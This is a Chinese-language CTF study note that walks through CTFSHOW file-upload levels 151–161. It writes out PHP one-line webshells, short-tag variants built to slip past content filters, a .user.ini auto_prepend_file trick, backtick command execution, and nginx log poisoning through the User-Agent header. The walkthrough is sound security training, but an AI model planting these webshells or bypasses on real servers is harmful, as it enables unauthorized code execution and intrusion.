知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用(受环境限制)
4、文件上传-PHP语言特性
部分不是通用的,但是思路相同,关键点在于环境差异,解决形式略微不同。
详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME(文件类型)检测等
4、绕过技巧:多后缀解析(如.php.jpg),截断,中间件特性(可能导致过滤代码失效),条件竞争等
本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
实践:CTFSHOW-文件上传-151到161关卡
前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
文件上传主要是上传PHP文件,让后台去使用PHP文件。
解析什么后缀的文件就上传什么样的后门代码。
解题
文件上传的思路:配合文件上传,把后门上传上去,获取后端权限。
151 152-JS验证+MIME Content-Type: image/png 1.前端验证时,通过修改前端的js进行绕过 一句话木马:<?php eval($_POST[x]);?> 连接文件并且传入POST参数x: x=system('ls'); x=system('ls ../'); x=system('tac ../flag.php');
2.MIME验证:数据包字段,通过文件后缀检查文件格式。 和上题一样,修改前端验证,上传php,再改掉数据包的MIME即可。 后台认证的文件格式就是MIME Content-Type: image/png
上两题的前提都是对方服务器的文件名只在前台进行认证。
153-JS验证+user.ini https: 上传.user.ini,将文件包含进index.php .user.ini:auto_prepend_file=test.png 上传木马png,访问对应目录下的index.php,得到flag test.png:<?php eval($_POST[x]);?>
154 155-JS验证+user.ini+短标签 内容检测:当检测到<?php 这种头部时,阻止文件上传。 1.换后门 2.换一种php写法 <? echo '123';?> <% echo '123';%> <?=(表达式)?> <script language="php">echo '1'; </script> 完成内容检测的绕过后,就可以按照上面的方法传入后门了。 .user.ini:auto_prepend_file=test.png test.png:<?=eval($_POST[x]);?> 浏览器POST:x=system('tac ../flag.php');
156 JS验证+user.ini+短标签+过滤 .user.ini使用的是php函数 符号过滤,过滤掉了POST的方括号。 .user.ini:auto_prepend_file=test.png test.png:<?=eval($_POST{x});?>
157 158 159 JS验证+user.ini+短标签+过滤 过滤了分号和其它符号。正则表达式过滤。 直接写函数读取flag,省略分号。 使用反引号 运算符的效果与函数 shell_exec()相同 .user.ini:auto_prepend_file=test.png test.png:<?=system('tac ../fl*')?> test.png:<? echo `tac /var/www/html/f*`?>
160 JS验证+user.ini+短标签+过滤 包含默认日志,日志记录UA头,UA头写后门代码(nginx) 尝试把东西写到日志记录文件 .user.ini:auto_prepend_file=test.png test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?> 访问时,把UA头替换为后门代码,访问日志文件时使用POST参数,最后使用日志展示出对应的目标信息。
161 JS验证+user.ini+短标签+过滤+文件头 文件头部检测是否为图片格式文件 .user.ini:GIF89A auto_prepend_file=test.png test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>
|